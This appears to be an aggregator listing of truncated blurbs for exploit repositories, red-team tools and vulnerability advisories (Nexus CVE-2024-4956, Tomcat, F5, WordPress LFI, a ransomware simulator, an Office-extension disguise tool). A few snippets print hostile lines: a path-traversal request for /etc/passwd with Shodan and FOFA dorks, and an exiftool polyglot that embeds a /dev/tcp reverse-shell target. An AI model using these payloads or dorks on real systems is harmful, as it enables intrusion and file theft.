weaponized-0604

CVE-2019-0604 armado Herramienta de explotación automatizada para maximizar CVE-2019-0604. Requisito El archivo requirements.txt debe listar todas las bibliotecas de Python que esta herramienta usa, y se instalarán usando $ pip install -r requirements.txt Explotación manual a ciegas con/sin...

pwndrop

pwndrop is a self-deployable file hosting service for sending out red teaming payloads or securely sharing your private files over HTTP and WebDAV. If you've ever needed to quickly set up an nginx/apache web server to host your files and you were never happy with the limitations of python -m...

pwndrop

pwndrop 是一个可自行部署的文件托管服务，用于发送红队测试负载，或通过 HTTP 和 WebDAV 安全地分享你的私人文件。 如果你曾经需要快速搭建一个 nginx/apache 服务器来托管文件，却对 python -m SimpleHTTPServer 的限制感到不满，那么 pwndrop 绝对适合你！ 使用 pwndrop ，你可以： 通过拖放操作，立即上传并分享多个文件到自己的私有 VPS 上。 一键决定文件是否可供下载。 为共享文件设置自定义下载 URL，无需摆弄目录结构。 设置伪装文件，当你需要时，它会替代原始文件被提供。 设置自动重定向，以伪造共享链接中的文件扩展名。...

CVE-2024-4956

CVE-2024-4956 : Nexus Repository Manager 3 Dork: Shodan:http.html:"Nexus Repository" Hunter:product.name="Nexus Repository" FOFA:app="Nexus-Repository-Manager" Poc : GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: localhost:8081 Accept-Encoding: gzip,...

CVE-2017-12615-PoC

CVE 2017-12615 Apache Tomcat Windows RCE ⚠️Warning This is a proof of concept environment and exploit for known CVEs, strictly for learning and educational purposes. Do not use these scripts or techniques on systems you do not own or have explicit permission to test. Unauthorised access or...

f5scan

f5scan Escáner F5 BIG IP para CVE-2020-5902 por bt0 Más información sobre la vulnerabilidad: https://support.f5.com/csp/article/K52145254?sf235665517=1 Requisitos: python3+ shodan colorama urlopen pyOpenSSL $ pip3 install -r requirements Opciones -h, --help muestra este mensaje de ayuda y sale -H...

CVE-2023-24610

CVE-2023-24610 Esto es una prueba de concepto para CVE-2023-24610 Comenzamos creando un archivo políglota usando exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php Cambiamos el archivo a png para que pase la verificación del front-end Después, iniciamos un listener...

RansomwareSim

RansomwareSim Descripción general RansomwareSim es una aplicación de ransomware simulada desarrollada con fines educativos y de formación. Está diseñada para demostrar cómo el ransomware cifra archivos en un sistema y se comunica con un servidor de comando y control. Esta herramienta es...

CVE-2015-6668

CVE-2015-6668 - Job Manager IDOR Una pequeña CLI en Rust que reproduce el patrón de divulgación de información asociado con CVE-2015-6668 Job Manager //nombrearchivo.ext. Patrón de ataque: fuerza bruta / enumeración de carpetas comunes de año/mes y variantes de nombres de archivo para localizar...

CVE-2025-2294

Exploit CVE-2025-4403 Detalles Publicado : 27 de marzo de 2025 Actualizado : 28 de marzo de 2025 Severidad : Crítica Puntuación CVSS: 9.8 CWE : CWE-22: CWE-22 Limitación incorrecta de un nombre de ruta a un directorio restringido 'Path Traversal' Versiones afectadas : Todas las versiones desde n/...

nginx-CVE-2017-7529

Nginx越界读取缓存漏洞（CVE-2017-7529） 漏洞原理 参考阅读： https://cert.360.cn/detailnews.html?id=b879782fbad4a7f773b6c18490d67ac7 http://galaxylab.org/cve-2017-7529-nginx%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/...

CVE-2020-24572-POC

CVE-2020-24572-POC Se descubrió un problema en includes/webconsole.php en RaspAP 2.5. Con acceso autenticado, un atacante puede usar una consola web mal configurada y prácticamente sin restricciones para atacar el sistema operativo subyacente que ejecuta este software, y ejecutar comandos en el...

CVE-2026-94062

The Fuelthemes Werkstatt WordPress theme (versions ≤ 4.8.3 ) is vulnerable to a PHP Local File Inclusion (LFI) flaw. The root cause is the Improper Control of Filename for Include/Require Statement in PHP Program (CWE-98). This vulnerability allows an attacker to include local files on the server...

EUVD-2026-95762

Improper Control of Filename for Include/Require Statement in PHP Program 'PHP Remote File Inclusion' vulnerability in Fuelthemes Werkstatt werkstatt allows PHP Local File Inclusion.This issue affects Werkstatt: from n/a through 4.8.3...

CVE-2026-94062 WordPress Werkstatt theme <= 4.8.3 - Local File Inclusion vulnerability

Improper Control of Filename for Include/Require Statement in PHP Program 'PHP Remote File Inclusion' vulnerability in Fuelthemes Werkstatt werkstatt allows PHP Local File Inclusion.This issue affects Werkstatt: from n/a through 4.8.3...

day04-nexus-4956

Día 4 – Nexus Repository 3 Path Traversal CVE-2024-4956 Qué: El path traversal sin autenticación permite a cualquiera descargar archivos arbitrarios con una URL manipulada. Vuln: Afecta a versiones de Nexus Repo 3 ≤ 3.68.0. Corregido en 3.68.1. Fuente: Aviso de Sonatype + NVD. Seguridad: El...

backdoorppt

backdoorppt - 'Office 扩展名伪装工具' 版本发布：v1.7-稳定版 作者：pedro ubuntu r00t-3xp10it 支持发行版：Linux Kali, Ubuntu, Mint Suspicious-Shell-Activity© SSA 红队开发 @2017 将你的 payload.exe 伪装成一个虚假的 Word 文档 .ppt 简单脚本，允许用户将一个现有的 executable.exe 添加 ms-word 图标 （使用 resource-hacker 作为后端应用程序） 并利用 Ruby 单行命令隐藏 .exe 扩展名， 同时在文件末尾添加...

CVE-2019-5418

CVE-2019-5418 1.漏洞描述 Ruby on Rails是一个 Web 应用程序框架,是一个相对较新的 Web 应用程序框架，构建在 Ruby 语言之上。这个漏洞主要是由于Ruby on Rails使用了指定参数的render file来渲染应用之外的视图，我们可以通过修改访问某控制器的请求包，通过“…/…/…/…/”来达到路径穿越的目的，然后再通过“”来进行模板查询路径的闭合，使得所要访问的文件被当做外部模板来解析。 3.漏洞复现 burp抓包 单个正确漏洞验证：pocsuite -r CVE-2019-5418.py -u url 批量扫描：pocsuite -r...

sandfly-entropyscan

What is sandfly-entropyscan? sandfly-entropyscan is a utility to quickly scan files or running processes and report on their entropy measure of randomness and if they are a Linux/Unix ELF type executable. Some malware for Linux is packed or encrypted and shows very high entropy. This tool can...

EUVD-2026-95756

Improper limitation of a pathname to a restricted directory 'path traversal' vulnerability in Apache Camel Karavan. A project file name supplied through the project file API was used verbatim as a path segment when the project was written to the working copy for a Git commit, so a name containing...